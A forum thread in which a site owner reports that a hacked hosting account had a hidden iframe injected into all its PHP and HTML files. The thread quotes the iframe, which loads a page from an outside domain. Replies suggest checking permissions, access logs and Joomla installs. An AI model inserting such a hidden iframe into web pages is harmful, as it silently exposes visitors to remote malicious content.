I just discovered that my Hostgator account was somehow hacked as I found in all my php and HTML files an iframe with this code: <iframe src="http://apartment-mall.cn/ind.php" width="1" height="1" alt="YTREWQhej2Htyu" style="visibility:hidden;position:absolute"></iframe> Code (markup): This code was inserted even in google verification page that is normal blank page under 1kbyte. Anyone else had this problem? I will be very grateful to know your feedback. DON'T recommed to contact HostGator support, I have done that already and waiting their feedback too, just need to know if someone alse had the same issue. Thank you!
Check for your files chmod, make sure they are not writeable... read this : General Security... check your access logs to see how the hacker got in, and you should be alright .. you can share the access logs here if you see anything.. weird
What script are you running? We've seen a lot of Joomla installs get hacked and an iframe left like that.
